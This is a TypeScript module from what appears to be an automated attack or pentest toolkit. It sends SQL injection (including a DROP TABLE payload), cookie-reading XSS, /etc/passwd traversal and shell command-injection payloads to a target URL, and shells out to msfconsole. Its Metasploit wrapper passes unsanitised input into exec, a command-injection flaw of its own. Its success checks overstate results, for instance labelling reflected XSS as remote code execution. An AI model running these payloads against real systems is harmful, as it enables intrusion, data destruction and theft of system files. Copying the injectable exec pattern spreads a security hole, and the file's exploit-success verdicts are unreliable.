exploit.tsā¢19.1 kB
import { exec } from 'child_process';
import { promisify } from 'util';
import axios from 'axios';
import { ScanResult } from './recon.js';
const execAsync = promisify(exec);
export interface ExploitResult {
exploit_id: string;
name: string;
target: string;
success: boolean;
payload_used: string;
result_type: 'shell' | 'file_read' | 'rce' | 'information' | 'dos' | 'privilege_escalation';
evidence: string;
severity: 'low' | 'medium' | 'high' | 'critical';
recommendations: string[];
}
export interface MetasploitModule {
name: string;
description: string;
platform: string[];
targets: string[];
rank: string;
disclosed: string;
references: string[];
}
export class ExploitTools {
async metasploitSearch(service: string, platform?: string): Promise<ScanResult> {
try {
let command = `msfconsole -q -x "search ${service}`;
if (platform) {
command += ` platform:${platform}`;
}
command += '; exit"';
console.error(`Executing: ${command}`);
const { stdout, stderr } = await execAsync(command, {
timeout: 60000 // 1 min timeout
});
const modules = this.parseMetasploitSearch(stdout);
return {
target: service,
timestamp: new Date().toISOString(),
tool: 'metasploit_search',
results: {
modules,
total_found: modules.length,
search_query: service,
platform_filter: platform
},
status: 'success'
};
} catch (error) {
return {
target: service,
timestamp: new Date().toISOString(),
tool: 'metasploit_search',
results: {},
status: 'error',
error: error instanceof Error ? error.message : String(error)
};
}
}
async exploitAttempt(target: string, vulnerability: string, payload?: string): Promise<ScanResult> {
try {
const exploitResults: ExploitResult[] = [];
// Determine exploit strategy based on vulnerability type
const vulnType = this.categorizeVulnerability(vulnerability);
switch (vulnType) {
case 'web':
await this.attemptWebExploits(target, vulnerability, payload, exploitResults);
break;
case 'network':
await this.attemptNetworkExploits(target, vulnerability, payload, exploitResults);
break;
case 'service':
await this.attemptServiceExploits(target, vulnerability, payload, exploitResults);
break;
default:
await this.attemptGenericExploits(target, vulnerability, payload, exploitResults);
}
return {
target,
timestamp: new Date().toISOString(),
tool: 'exploit_attempt',
results: {
exploit_attempts: exploitResults,
successful_exploits: exploitResults.filter(e => e.success),
vulnerability_targeted: vulnerability,
total_attempts: exploitResults.length
},
status: 'success'
};
} catch (error) {
return {
target,
timestamp: new Date().toISOString(),
tool: 'exploit_attempt',
results: {},
status: 'error',
error: error instanceof Error ? error.message : String(error)
};
}
}
async customExploitBuilder(target: string, vulnType: string, techStack: string[]): Promise<ScanResult> {
try {
const customExploits: ExploitResult[] = [];
// Build custom exploits based on technology stack
for (const tech of techStack) {
const exploits = await this.generateTechSpecificExploits(target, tech, vulnType);
customExploits.push(...exploits);
}
return {
target,
timestamp: new Date().toISOString(),
tool: 'custom_exploit_builder',
results: {
custom_exploits: customExploits,
technologies_targeted: techStack,
vulnerability_type: vulnType
},
status: 'success'
};
} catch (error) {
return {
target,
timestamp: new Date().toISOString(),
tool: 'custom_exploit_builder',
results: {},
status: 'error',
error: error instanceof Error ? error.message : String(error)
};
}
}
// Helper methods
private parseMetasploitSearch(output: string): MetasploitModule[] {
const modules: MetasploitModule[] = [];
const lines = output.split('\n');
for (const line of lines) {
// Parse metasploit module output
if (line.includes('exploit/') || line.includes('auxiliary/')) {
const parts = line.trim().split(/\s+/);
if (parts.length >= 3) {
modules.push({
name: parts[0],
description: parts.slice(2).join(' '),
platform: [], // Would need more detailed parsing
targets: [],
rank: parts[1] || 'Unknown',
disclosed: '',
references: []
});
}
}
}
return modules;
}
private categorizeVulnerability(vulnerability: string): 'web' | 'network' | 'service' | 'other' {
const vulnLower = vulnerability.toLowerCase();
if (vulnLower.includes('xss') ||
vulnLower.includes('sql injection') ||
vulnLower.includes('csrf') ||
vulnLower.includes('directory traversal') ||
vulnLower.includes('file upload')) {
return 'web';
}
if (vulnLower.includes('buffer overflow') ||
vulnLower.includes('rce') ||
vulnLower.includes('command injection')) {
return 'network';
}
if (vulnLower.includes('ssh') ||
vulnLower.includes('ftp') ||
vulnLower.includes('smb') ||
vulnLower.includes('rdp')) {
return 'service';
}
return 'other';
}
private async attemptWebExploits(target: string, vulnerability: string, payload: string | undefined, results: ExploitResult[]): Promise<void> {
const vulnLower = vulnerability.toLowerCase();
// SQL Injection exploits
if (vulnLower.includes('sql injection')) {
await this.attemptSQLInjection(target, results);
}
// XSS exploits
if (vulnLower.includes('xss')) {
await this.attemptXSSExploit(target, results);
}
// Directory traversal exploits
if (vulnLower.includes('directory traversal') || vulnLower.includes('path traversal')) {
await this.attemptDirectoryTraversal(target, results);
}
// Command injection exploits
if (vulnLower.includes('command injection')) {
await this.attemptCommandInjection(target, results);
}
// File upload exploits
if (vulnLower.includes('file upload')) {
await this.attemptFileUploadExploit(target, results);
}
}
private async attemptNetworkExploits(target: string, vulnerability: string, payload: string | undefined, results: ExploitResult[]): Promise<void> {
// Network-level exploitation attempts
const vulnLower = vulnerability.toLowerCase();
if (vulnLower.includes('buffer overflow')) {
results.push({
exploit_id: 'buffer_overflow_attempt',
name: 'Buffer Overflow Exploitation',
target,
success: false, // Would require actual buffer overflow payload
payload_used: payload || 'Generic buffer overflow payload',
result_type: 'rce',
evidence: 'Manual exploitation required for buffer overflow',
severity: 'critical',
recommendations: [
'Implement proper input validation',
'Use memory-safe programming languages',
'Enable stack protection mechanisms'
]
});
}
}
private async attemptServiceExploits(target: string, vulnerability: string, payload: string | undefined, results: ExploitResult[]): Promise<void> {
const vulnLower = vulnerability.toLowerCase();
// SSH exploits
if (vulnLower.includes('ssh')) {
await this.attemptSSHExploit(target, results);
}
// FTP exploits
if (vulnLower.includes('ftp')) {
await this.attemptFTPExploit(target, results);
}
// SMB exploits
if (vulnLower.includes('smb')) {
await this.attemptSMBExploit(target, results);
}
}
private async attemptGenericExploits(target: string, vulnerability: string, payload: string | undefined, results: ExploitResult[]): Promise<void> {
// Generic exploitation attempts
results.push({
exploit_id: 'generic_exploit_attempt',
name: 'Generic Exploitation Attempt',
target,
success: false,
payload_used: payload || 'Generic payload',
result_type: 'information',
evidence: `Attempted exploitation of ${vulnerability}`,
severity: 'medium',
recommendations: [
'Review and patch the identified vulnerability',
'Implement proper security controls',
'Monitor for exploitation attempts'
]
});
}
private async attemptSQLInjection(target: string, results: ExploitResult[]): Promise<void> {
try {
const payloads = [
"' OR '1'='1",
"'; DROP TABLE users; --",
"' UNION SELECT user(), database(), version() --",
"' AND (SELECT COUNT(*) FROM information_schema.tables) > 0 --"
];
for (const payload of payloads) {
try {
const testUrl = `${target}?id=${encodeURIComponent(payload)}`;
const response = await axios.get(testUrl, { timeout: 5000 });
// Check for SQL error messages or successful injection
if (response.data.includes('mysql') ||
response.data.includes('syntax error') ||
response.data.includes('database') ||
response.data.includes('ORA-') ||
response.data.includes('PostgreSQL')) {
results.push({
exploit_id: 'sql_injection_success',
name: 'SQL Injection Exploitation',
target,
success: true,
payload_used: payload,
result_type: 'information',
evidence: 'SQL error messages or data leakage detected',
severity: 'high',
recommendations: [
'Use parameterized queries',
'Implement input validation',
'Apply principle of least privilege to database accounts'
]
});
break;
}
} catch (error) {
// Continue with next payload
}
}
} catch (error) {
console.error('SQL injection attempt failed:', error);
}
}
private async attemptXSSExploit(target: string, results: ExploitResult[]): Promise<void> {
try {
const payloads = [
'<script>alert("XSS")</script>',
'<img src="x" onerror="alert(document.cookie)">',
'<svg onload="alert(\'XSS\')">',
'javascript:alert("XSS")'
];
for (const payload of payloads) {
try {
const testUrl = `${target}?search=${encodeURIComponent(payload)}`;
const response = await axios.get(testUrl, { timeout: 5000 });
if (response.data.includes(payload.replace(/[<>]/g, ''))) {
results.push({
exploit_id: 'xss_success',
name: 'Cross-Site Scripting (XSS) Exploitation',
target,
success: true,
payload_used: payload,
result_type: 'rce',
evidence: 'XSS payload successfully reflected',
severity: 'high',
recommendations: [
'Implement proper output encoding',
'Use Content Security Policy (CSP)',
'Validate and sanitize all user inputs'
]
});
break;
}
} catch (error) {
// Continue with next payload
}
}
} catch (error) {
console.error('XSS attempt failed:', error);
}
}
private async attemptDirectoryTraversal(target: string, results: ExploitResult[]): Promise<void> {
try {
const payloads = [
'../../../etc/passwd',
'..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
'....//....//....//etc/passwd',
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
];
for (const payload of payloads) {
try {
const testUrl = `${target}?file=${encodeURIComponent(payload)}`;
const response = await axios.get(testUrl, { timeout: 5000 });
if (response.data.includes('root:') || response.data.includes('127.0.0.1')) {
results.push({
exploit_id: 'directory_traversal_success',
name: 'Directory Traversal Exploitation',
target,
success: true,
payload_used: payload,
result_type: 'file_read',
evidence: 'Sensitive system files accessed',
severity: 'high',
recommendations: [
'Implement proper file access controls',
'Validate file paths and restrict access',
'Use whitelist-based file access'
]
});
break;
}
} catch (error) {
// Continue with next payload
}
}
} catch (error) {
console.error('Directory traversal attempt failed:', error);
}
}
private async attemptCommandInjection(target: string, results: ExploitResult[]): Promise<void> {
try {
const payloads = [
'; cat /etc/passwd',
'| type C:\\Windows\\System32\\drivers\\etc\\hosts',
'`whoami`',
'$(id)'
];
for (const payload of payloads) {
try {
const testUrl = `${target}?cmd=${encodeURIComponent(payload)}`;
const response = await axios.get(testUrl, { timeout: 5000 });
if (response.data.includes('root:') ||
response.data.includes('uid=') ||
response.data.includes('127.0.0.1')) {
results.push({
exploit_id: 'command_injection_success',
name: 'Command Injection Exploitation',
target,
success: true,
payload_used: payload,
result_type: 'rce',
evidence: 'Command execution successful',
severity: 'critical',
recommendations: [
'Avoid system calls with user input',
'Implement strict input validation',
'Use whitelist-based command filtering'
]
});
break;
}
} catch (error) {
// Continue with next payload
}
}
} catch (error) {
console.error('Command injection attempt failed:', error);
}
}
private async attemptFileUploadExploit(target: string, results: ExploitResult[]): Promise<void> {
// File upload exploitation would require actual file upload functionality
results.push({
exploit_id: 'file_upload_analysis',
name: 'File Upload Security Analysis',
target,
success: false,
payload_used: 'Manual file upload testing required',
result_type: 'information',
evidence: 'File upload functionality detected - manual testing required',
severity: 'medium',
recommendations: [
'Implement file type validation',
'Scan uploaded files for malware',
'Store uploads outside web root',
'Implement file size limits'
]
});
}
private async attemptSSHExploit(target: string, results: ExploitResult[]): Promise<void> {
// SSH exploitation attempts
results.push({
exploit_id: 'ssh_bruteforce_recommended',
name: 'SSH Brute Force Attack Recommendation',
target,
success: false,
payload_used: 'Common credential dictionary',
result_type: 'information',
evidence: 'SSH service detected - brute force attack possible',
severity: 'medium',
recommendations: [
'Implement key-based authentication',
'Disable root login',
'Use fail2ban or similar tools',
'Change default SSH port'
]
});
}
private async attemptFTPExploit(target: string, results: ExploitResult[]): Promise<void> {
// FTP exploitation attempts
results.push({
exploit_id: 'ftp_anonymous_check',
name: 'FTP Anonymous Access Check',
target,
success: false,
payload_used: 'Anonymous login attempt',
result_type: 'information',
evidence: 'FTP service detected - manual testing recommended',
severity: 'low',
recommendations: [
'Disable anonymous FTP access',
'Use SFTP instead of FTP',
'Implement proper access controls',
'Monitor FTP access logs'
]
});
}
private async attemptSMBExploit(target: string, results: ExploitResult[]): Promise<void> {
// SMB exploitation attempts
results.push({
exploit_id: 'smb_vulnerability_check',
name: 'SMB Security Assessment',
target,
success: false,
payload_used: 'SMB enumeration',
result_type: 'information',
evidence: 'SMB service detected - potential for EternalBlue or similar exploits',
severity: 'high',
recommendations: [
'Apply latest security patches',
'Disable SMBv1 protocol',
'Implement network segmentation',
'Monitor SMB traffic'
]
});
}
private async generateTechSpecificExploits(target: string, technology: string, vulnType: string): Promise<ExploitResult[]> {
const exploits: ExploitResult[] = [];
const techLower = technology.toLowerCase();
// WordPress specific exploits
if (techLower.includes('wordpress')) {
exploits.push({
exploit_id: 'wordpress_enum',
name: 'WordPress User Enumeration',
target,
success: false,
payload_used: 'REST API user enumeration',
result_type: 'information',
evidence: 'WordPress detected - user enumeration possible',
severity: 'low',
recommendations: [
'Disable user enumeration',
'Keep WordPress updated',
'Use security plugins',
'Implement strong passwords'
]
});
}
// PHP specific exploits
if (techLower.includes('php')) {
exploits.push({
exploit_id: 'php_info_disclosure',
name: 'PHP Information Disclosure',
target,
success: false,
payload_used: 'phpinfo() detection',
result_type: 'information',
evidence: 'PHP detected - check for info disclosure',
severity: 'medium',
recommendations: [
'Disable phpinfo() in production',
'Hide PHP version headers',
'Keep PHP updated',
'Implement proper error handling'
]
});
}
return exploits;
}
}